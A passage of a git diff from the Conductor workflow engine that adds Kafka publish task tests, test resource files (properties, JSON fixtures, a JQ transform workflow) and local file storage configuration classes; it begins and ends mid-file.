when(producer.send(any())).thenReturn(mock(Future.class)); + + kPublishTask.start(mock(WorkflowModel.class), task, mock(WorkflowExecutor.class)); + assertEquals(TaskModel.Status.IN_PROGRESS, task.getStatus()); + } + + private TaskModel getTask() { + TaskModel task = new TaskModel(); + KafkaPublishTask.Input input = new KafkaPublishTask.Input(); + input.setBootStrapServers("localhost:9092"); + + Map value = new HashMap<>(); + + value.put("input_key1", "value1"); + value.put("input_key2", 45.3d); + + input.setValue(value); + input.setTopic("testTopic"); + task.getInputData().put(KafkaPublishTask.REQUEST_PARAMETER_NAME, input); + return task; + } + + @Test + public void integerSerializer_integerObject() { + KafkaPublishTask kPublishTask = + new KafkaPublishTask(getKafkaProducerManager(), objectMapper); + KafkaPublishTask.Input input = new KafkaPublishTask.Input(); + input.setKeySerializer(IntegerSerializer.class.getCanonicalName()); + input.setKey(String.valueOf(Integer.MAX_VALUE)); + assertEquals(kPublishTask.getKey(input), Integer.MAX_VALUE); + } + + @Test + public void longSerializer_longObject() { + KafkaPublishTask kPublishTask = + new KafkaPublishTask(getKafkaProducerManager(), objectMapper); + KafkaPublishTask.Input input = new KafkaPublishTask.Input(); + input.setKeySerializer(LongSerializer.class.getCanonicalName()); + input.setKey(String.valueOf(Long.MAX_VALUE)); + assertEquals(kPublishTask.getKey(input), Long.MAX_VALUE); + } + + @Test + public void noSerializer_StringObject() { + KafkaPublishTask kPublishTask = + new KafkaPublishTask(getKafkaProducerManager(), objectMapper); + KafkaPublishTask.Input input = new KafkaPublishTask.Input(); + input.setKey("testStringKey"); + assertEquals(kPublishTask.getKey(input), "testStringKey"); + } + + private KafkaProducerManager getKafkaProducerManager() { + return new KafkaProducerManager( + Duration.ofMillis(100), Duration.ofMillis(500), 120000, Duration.ofMillis(10)); + } +} diff --git a/kafka/src/test/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapperTest.java b/kafka/src/test/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapperTest.java new file mode 100644 index 0000000..1be8e89 --- /dev/null +++ b/kafka/src/test/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapperTest.java @@ -0,0 +1,122 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.HashMap; +import java.util.List; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.assertEquals; +import static org.mockito.Mockito.mock; + +public class KafkaPublishTaskMapperTest { + + private IDGenerator idGenerator; + private KafkaPublishTaskMapper kafkaTaskMapper; + + @Rule public ExpectedException expectedException = ExpectedException.none(); + + @Before + public void setUp() { + ParametersUtils parametersUtils = mock(ParametersUtils.class); + MetadataDAO metadataDAO = mock(MetadataDAO.class); + kafkaTaskMapper = new KafkaPublishTaskMapper(parametersUtils, metadataDAO); + idGenerator = new IDGenerator(); + } + + @Test + public void getMappedTasks() { + // Given + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("kafka_task"); + workflowTask.setType(TaskType.KAFKA_PUBLISH.name()); + workflowTask.setTaskDefinition(new TaskDef("kafka_task")); + String taskId = idGenerator.generate(); + String retriedTaskId = idGenerator.generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef()) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withRetryTaskId(retriedTaskId) + .withTaskId(taskId) + .build(); + + // when + List mappedTasks = kafkaTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertEquals(1, mappedTasks.size()); + assertEquals(TaskType.KAFKA_PUBLISH.name(), mappedTasks.get(0).getTaskType()); + } + + @Test + public void getMappedTasks_WithoutTaskDef() { + // Given + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("kafka_task"); + workflowTask.setType(TaskType.KAFKA_PUBLISH.name()); + String taskId = idGenerator.generate(); + String retriedTaskId = idGenerator.generate(); + + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflow.setWorkflowDefinition(workflowDef); + + TaskDef taskdefinition = new TaskDef(); + String testExecutionNameSpace = "testExecutionNameSpace"; + taskdefinition.setExecutionNameSpace(testExecutionNameSpace); + String testIsolationGroupId = "testIsolationGroupId"; + taskdefinition.setIsolationGroupId(testIsolationGroupId); + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(taskdefinition) + .withWorkflowTask(workflowTask) + .withTaskInput(new HashMap<>()) + .withRetryCount(0) + .withRetryTaskId(retriedTaskId) + .withTaskId(taskId) + .build(); + + // when + List mappedTasks = kafkaTaskMapper.getMappedTasks(taskMapperContext); + + // Then + assertEquals(1, mappedTasks.size()); + assertEquals(TaskType.KAFKA_PUBLISH.name(), mappedTasks.get(0).getTaskType()); + assertEquals(testExecutionNameSpace, mappedTasks.get(0).getExecutionNameSpace()); + assertEquals(testIsolationGroupId, mappedTasks.get(0).getIsolationGroupId()); + } +} diff --git a/kafka/src/test/resources/application-integrationtest.properties b/kafka/src/test/resources/application-integrationtest.properties new file mode 100644 index 0000000..dbefa99 --- /dev/null +++ b/kafka/src/test/resources/application-integrationtest.properties @@ -0,0 +1,54 @@ +# +# /* +# * Copyright 2023 Conductor authors +# *

    +# * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with +# * the License. You may obtain a copy of the License at +# *

    +# * http://www.apache.org/licenses/LICENSE-2.0 +# *

    +# * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on +# * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +# * specific language governing permissions and limitations under the License. +# */ +# + +conductor.db.type=memory +# disable trying to connect to redis and use in-memory +conductor.queue.type=xxx +conductor.workflow-execution-lock.type=local_only +conductor.external-payload-storage.type=dummy +conductor.indexing.enabled=false + +conductor.app.stack=test +conductor.app.appId=conductor + +conductor.app.workflow-offset-timeout=30s + +conductor.system-task-workers.enabled=false +conductor.app.system-task-worker-callback-duration=0 + +conductor.app.event-message-indexing-enabled=true +conductor.app.event-execution-indexing-enabled=true + +conductor.app.workflow-execution-lock-enabled=false + +conductor.app.workflow-input-payload-size-threshold=10KB +conductor.app.max-workflow-input-payload-size-threshold=10240KB +conductor.app.workflow-output-payload-size-threshold=10KB +conductor.app.max-workflow-output-payload-size-threshold=10240KB +conductor.app.task-input-payload-size-threshold=10KB +conductor.app.max-task-input-payload-size-threshold=10240KB +conductor.app.task-output-payload-size-threshold=10KB +conductor.app.max-task-output-payload-size-threshold=10240KB +conductor.app.max-workflow-variables-payload-size-threshold=2KB + +conductor.redis.availability-zone=us-east-1c +conductor.redis.data-center-region=us-east-1 +conductor.redis.workflow-namespace-prefix=integration-test +conductor.redis.queue-namespace-prefix=integtest + +conductor.elasticsearch.index-prefix=conductor +conductor.elasticsearch.cluster-health-color=yellow + +management.metrics.export.datadog.enabled=false diff --git a/kafka/src/test/resources/input.json b/kafka/src/test/resources/input.json new file mode 100644 index 0000000..e69de29 diff --git a/kafka/src/test/resources/output.json b/kafka/src/test/resources/output.json new file mode 100644 index 0000000..c0921cc --- /dev/null +++ b/kafka/src/test/resources/output.json @@ -0,0 +1,424 @@ +{ + "imageType": "TEST_SAMPLE", + "case": "two", + "op": { + "TEST_SAMPLE": [ + { + "sourceId": "1413900_10830", + "url": "file/location/a0bdc4d0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_50241", + "url": "file/location/cd4e00a0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-55ee8663-85c2-42d3-aca2-4076707e6d4e", + "url": "file/sample/location/e008d018-63d7-44b2-b07e-c7435430ac71" + }, + { + "sourceId": "generated-14056154-1544-4350-81db-b3751fe44777", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-0b0ae5ea-d5c5-410c-adc9-bf16d2909c2e", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-08869779-614d-417c-bfea-36a3f8f199da", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-e117db45-1c48-45d0-b751-89386eb2d81d", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f0221421-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/4a009209-002f-4b58-8b96-cb2198f8ba3c" + }, + { + "sourceId": "f0252161-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/55b56298-5e7a-4949-b919-88c5c9557e8e" + }, + { + "sourceId": "f038d070-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/3c4804f4-e826-436f-90c9-52b8d9266d52" + }, + { + "sourceId": "f04e0621-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/689283a1-1816-48ef-83da-7f9ac874bf45" + }, + { + "sourceId": "f04ddf10-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/586666ae-7321-445a-80b6-323c8c241ecd" + }, + { + "sourceId": "f05950c0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/31795cc4-2590-4b20-a617-deaa18301f99" + }, + { + "sourceId": "1413900_46819", + "url": "file/location/c74497a0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_11177", + "url": "file/location/a231c730-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_48713", + "url": "file/location/ca638ae0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_48525", + "url": "file/location/ca0c9140-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_73303", + "url": "file/location/d5943a40-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "1413900_55202", + "url": "file/location/d1a4d7a0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-61413adf-3c10-4484-b25d-e238df898f45", + "url": "file/sample/location/e008d018-63d7-44b2-b07e-c7435430ac71" + }, + { + "sourceId": "generated-addca397-f050-4339-ae86-9ba8c4e1b0d5", + "url": "file/sample/location/838a0ddb-a315-453a-8b8a-fa795f9d7691" + }, + { + "sourceId": "generated-e4de9810-0f69-4593-8926-01ed82cbebcb", + "url": "file/sample/location/838a0ddb-a315-453a-8b8a-fa795f9d7691" + }, + { + "sourceId": "generated-e16e2074-7af6-4700-ab05-ca41ba9c9ab4", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-341c86f8-57a5-40e1-8842-3eb41dd9f528", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-88c2ea9b-cef7-4120-8043-b92713d8fade", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-3f6a731f-3c92-4677-9923-f80b8a6be632", + "url": "file/sample/location/3881aea9-a731-4e22-9ead-2d6eccc51140" + }, + { + "sourceId": "generated-1508b871-64de-47ce-8b07-76c5cb3f3e1e", + "url": "file/sample/location/a2e4195f-3900-45b4-9335-45f85fca6467" + }, + { + "sourceId": "generated-1406dce8-7b9c-4956-a7e8-78721c476ce9", + "url": "file/sample/location/a2e4195f-3900-45b4-9335-45f85fca6467" + }, + { + "sourceId": "f0206671-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/35ebee36-3072-44c5-abb5-702a5a3b1a91" + }, + { + "sourceId": "f01f5501-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d3a9133d-c681-4910-a769-8195526ae634" + }, + { + "sourceId": "f022b060-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/8fc1413d-170e-4644-a554-5e0c596b225c" + }, + { + "sourceId": "f02fa8b1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/35bed0a2-7def-457b-bded-4f4d7d94f76e" + }, + { + "sourceId": "f031f2a0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/a5a2ea1f-8d13-429c-a44d-3057d21f608a" + }, + { + "sourceId": "f0424650-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/1c599ffc-4f10-4c0b-8d9a-ae41c7256113" + }, + { + "sourceId": "f04ec970-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/8404a421-e1a6-41cf-af63-a35ccb474457" + }, + { + "sourceId": "1413900_47197", + "url": "file/location/c81b6fa0-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-2a63c0c8-62ea-44a4-a33b-f0b3047e8b00", + "url": "file/sample/location/e008d018-63d7-44b2-b07e-c7435430ac71" + }, + { + "sourceId": "generated-b27face7-3589-4209-944a-5153b20c5996", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-144675b3-9321-48d2-8b5b-e19a40d30ef2", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-8cbe821e-b1fb-48ce-beb5-735319af4db6", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-ecc4ea47-9bad-4b91-97c7-35f4ea6fb479", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-c1eb9ed0-8560-4e09-a748-f926edb7cdc2", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-6bed81fd-c777-4c61-8da1-0bb7f7cf0082", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-852e5510-dd5d-4900-a614-854148fcc716", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-f4dedcb7-37c9-4ba9-ab37-64ec9be7c882", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f0259691-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/721bc0de-e75f-4386-8b2e-ca84eb653596" + }, + { + "sourceId": "f02b3be1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d2043b17-8ce5-42ee-a5e4-81c68f0c4838" + }, + { + "sourceId": "f02b62f0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/63931561-3b5b-4ffe-af47-da2c9de94684" + }, + { + "sourceId": "f0315660-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d99ed629-2885-4e4a-8a1b-22e487b875fa" + }, + { + "sourceId": "f0306c00-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/6f8e673a-7003-44aa-96b9-e2ed8a4654ff" + }, + { + "sourceId": "f033c760-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/627c00f9-14b3-4057-b6e2-0f962ad0308e" + }, + { + "sourceId": "f03526f1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/fafabaf9-fe58-4a9a-b555-026521aeb2fe" + }, + { + "sourceId": "f03acc41-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/6c9fed2c-558a-4db3-8360-659b5e8c46e4" + }, + { + "sourceId": "f0463df1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/e9fb83d2-5f14-4442-92b5-67e613f2e35f" + }, + { + "sourceId": "f04fb3d0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/e7a0f82f-be8d-4ada-a4b1-13e8165e08be" + }, + { + "sourceId": "f05272f0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/9aba488a-22b3-4932-85a7-52c461203541" + }, + { + "sourceId": "f0581841-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/457415f6-6d0c-4304-8533-0d5b43fac564" + }, + { + "sourceId": "generated-8fefb48c-6fde-4fd6-8f33-a1f3f3b62105", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-30c61aa5-f5bd-4077-8c32-336b87acbe96", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-d5da37db-d486-46d4-8f7d-1e0710a77eb5", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-77af26fe-9e22-48af-99e3-f63f10fbe6de", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-2e807016-3d11-4b60-bec7-c380a608b67d", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-615d02e9-62c2-43ab-9df7-753b6b8e2c22", + "url": "file/sample/location/519f6c80-96ef-440f-9d37-ccf36c7d1e5d" + }, + { + "sourceId": "generated-3e1600fd-a626-4ee6-972b-5f0187e96c38", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "generated-1dcb208c-6a58-4334-a60c-6fb54c8a2af5", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f024ac30-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/0af2107b-4231-4d23-bef3-4e417ac6c5d3" + }, + { + "sourceId": "f0282ea1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/0f592681-fd23-4194-ae43-42f61c664485" + }, + { + "sourceId": "f02c4d50-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/ec46b9a3-99af-410a-af7d-726f8854909f" + }, + { + "sourceId": "f02b8a00-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/aed7e5da-b524-4d41-b264-28ce615ec826" + }, + { + "sourceId": "f02b14d1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/b88c9055-ab0d-4d27-a405-265ba2a15f0c" + }, + { + "sourceId": "f03044f1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/fb8c4df9-d59e-4ac3-880e-4ea94cd880a4" + }, + { + "sourceId": "f034ffe1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/59f3fbe8-b300-4861-9b2f-dac7b15aea7d" + }, + { + "sourceId": "f03c2bd0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/19a06d54-41ed-419d-9947-f10cd5f0d85c" + }, + { + "sourceId": "f03fae41-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/a9a48a62-7d62-4f67-b281-cc6fdc1e722c" + }, + { + "sourceId": "f0455390-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/0aeffc0a-a5ad-46ff-abab-1b3bc6a5840a" + }, + { + "sourceId": "f04b1ff1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/9a08aaed-c125-48f7-9d1d-fd11266c2b12" + }, + { + "sourceId": "f04cf4b1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/17a6e0f9-aa64-411f-9af7-837c84f7443f" + }, + { + "sourceId": "f0511360-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/fb633c73-cb33-4806-bc08-049024644856" + }, + { + "sourceId": "f0538460-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/a7012248-6769-42da-a6c8-d4b831f6efce" + }, + { + "sourceId": "f058db91-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/bcf71522-6168-48c4-86c9-995bca60ae51" + }, + { + "sourceId": "generated-adf005c4-95c1-4904-9968-09cc19a26bfe", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-c4d367a4-4cdc-412e-af79-09b227f2e3ba", + "url": "file/sample/location/3d927190-1c4d-4af2-91cf-2968d3ccfe70" + }, + { + "sourceId": "generated-48dba018-f884-49db-b87e-67274e244c8f", + "url": "file/sample/location/4bce4154-fb4b-4f0a-887d-a0cd12d4d214" + }, + { + "sourceId": "generated-26700b83-4892-420e-8b46-1ee21eba75fb", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "generated-632f3198-c0dc-4348-974f-51684d4e443e", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "generated-86e2dd1d-1aa4-4dbe-b37b-b488f5dd1c70", + "url": "file/sample/location/e87da4d1-72da-47a3-801d-43e01c050c89" + }, + { + "sourceId": "f04134e0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/ff8f59bf-7757-4d51-a7e4-619f3e8ffaf2" + }, + { + "sourceId": "f04f65b0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/d66467d1-3ac6-4041-8d15-e722ee07231f" + }, + { + "sourceId": "1413900_15255", + "url": "file/location/a9e20260-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-e953493b-cbe3-4319-885e-00c82089c76c", + "url": "file/sample/location/ec16facd-86e3-4c3f-8dfb-7a2ad3a4e18c" + }, + { + "sourceId": "generated-65c54676-3adb-4ef0-b65e-8e2a49533cbf", + "url": "file/sample/location/07ec28a1-189e-4f2a-9dd5-f3ca68ce977d" + }, + { + "sourceId": "f02ac6b0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/21568877-07a5-411f-9715-5e92806c4448" + }, + { + "sourceId": "f02fcfc1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/f3b1f1a2-48d3-475d-a607-2e5a1fe532e7" + }, + { + "sourceId": "f03526f0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/84a40c66-d925-4a4a-ba62-8491d26e29e9" + }, + { + "sourceId": "f03e75c1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/e84c00e8-a148-46cf-9a0b-431c4c2aeb08" + }, + { + "sourceId": "f0429471-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/178de9fa-7cc8-457a-8fb6-5c080e6163ea" + }, + { + "sourceId": "f047eba0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/18d153aa-e13b-4264-ae03-f3da75eb425b" + }, + { + "sourceId": "f04fdae0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/7c843e53-8d87-47cf-bca5-1a02e7f5e33f" + }, + { + "sourceId": "f0553210-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/26bacd65-9082-4d83-9506-90e5f1ccd16a" + }, + { + "sourceId": "1413900_84904", + "url": "file/location/d8f7b090-5315-11e8-bf88-0efd527701fc" + }, + { + "sourceId": "generated-84adc784-8d7d-4088-ba51-16fde57fbc21", + "url": "file/sample/location/3881aea9-a731-4e22-9ead-2d6eccc51140" + }, + { + "sourceId": "generated-9e49c58b-0b33-4daf-a39a-8fc91e302328", + "url": "file/sample/location/4bce4154-fb4b-4f0a-887d-a0cd12d4d214" + }, + { + "sourceId": "f02dd3f1-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/8937b328-8f0d-4762-8d1f-7d7bc80c3d2e" + }, + { + "sourceId": "f03240c0-86e8-11e8-af77-0a2ba4eae3ec", + "url": "file/test/location/aab6e386-4d59-4b40-b257-9aed12a45446" + } + ] + } +} \ No newline at end of file diff --git a/kafka/src/test/resources/simple_json_jq_transform_integration_test.json b/kafka/src/test/resources/simple_json_jq_transform_integration_test.json new file mode 100644 index 0000000..dc39477 --- /dev/null +++ b/kafka/src/test/resources/simple_json_jq_transform_integration_test.json @@ -0,0 +1,32 @@ +{ + "name": "test_json_jq_transform_wf", + "version": 1, + "tasks": [ + { + "name": "jq", + "taskReferenceName": "jq_1", + "inputParameters": { + "input": "${workflow.input}", + "queryExpression": ".input as $_ | { out: ($_.in1.array + $_.in2.array) }" + }, + "type": "JSON_JQ_TRANSFORM", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/licenseheader.txt b/licenseheader.txt new file mode 100644 index 0000000..03879c6 --- /dev/null +++ b/licenseheader.txt @@ -0,0 +1,12 @@ +/* + * Copyright $YEAR Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ \ No newline at end of file diff --git a/local-file-storage/build.gradle b/local-file-storage/build.gradle new file mode 100644 index 0000000..ce9085f --- /dev/null +++ b/local-file-storage/build.gradle @@ -0,0 +1,5 @@ +dependencies { + implementation project(':conductor-common') + implementation project(':conductor-core') + compileOnly 'org.springframework.boot:spring-boot-starter' +} diff --git a/local-file-storage/src/main/java/org/conductoross/conductor/local/config/LocalFileStorageConfiguration.java b/local-file-storage/src/main/java/org/conductoross/conductor/local/config/LocalFileStorageConfiguration.java new file mode 100644 index 0000000..6eac374 --- /dev/null +++ b/local-file-storage/src/main/java/org/conductoross/conductor/local/config/LocalFileStorageConfiguration.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.local.config; + +import org.conductoross.conductor.core.storage.FileStorage; +import org.conductoross.conductor.local.storage.LocalFileStorage; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(LocalFileStorageProperties.class) +@ConditionalOnProperty(name = "conductor.file-storage.enabled", havingValue = "true") +public class LocalFileStorageConfiguration { + + @Bean + @ConditionalOnProperty(name = "conductor.file-storage.type", havingValue = "local") + public FileStorage localFileStorage(LocalFileStorageProperties properties) { + return new LocalFileStorage(properties); + } +} diff --git a/local-file-storage/src/main/java/org/conductoross/conductor/local/config/LocalFileStorageProperties.java b/local-file-storage/src/main/java/org/conductoross/conductor/local/config/LocalFileStorageProperties.java new file mode 100644 index 0000000..eed6236 --- /dev/null +++ b/local-file-storage/src/main/java/org/conductoross/conductor/local/config/LocalFileStorageProperties.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.local.config; + +import java.nio.file.Path; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +@ConfigurationProperties("conductor.file-storage.local") +public class LocalFileStorageProperties { + + private String directory = + Path.of(System.getProperty("java.io.tmpdir"), "conductor", "files-uploaded").toString(); + + public String getDirectory() { + return directory; + } + + public void setDirectory(String directory) { + this.directory = directory; + } +} diff --git a/local-file-storage/src/main/java/org/conductoross/conductor/local/storage/LocalFileStorage.java b/local-file-storage/src/main/java/org/conductoross/conductor/local/storage/LocalFileStorage.java new file mode 100644 index 0000000..1ba7271 --- /dev/null +++ b/local-file-storage/src/main/java/org/conductoross/conductor/local/storage/LocalFileStorage.java @@ -0,0 +1,98 @@ +/* + * Copyright 2026 Conductor Authors. + *

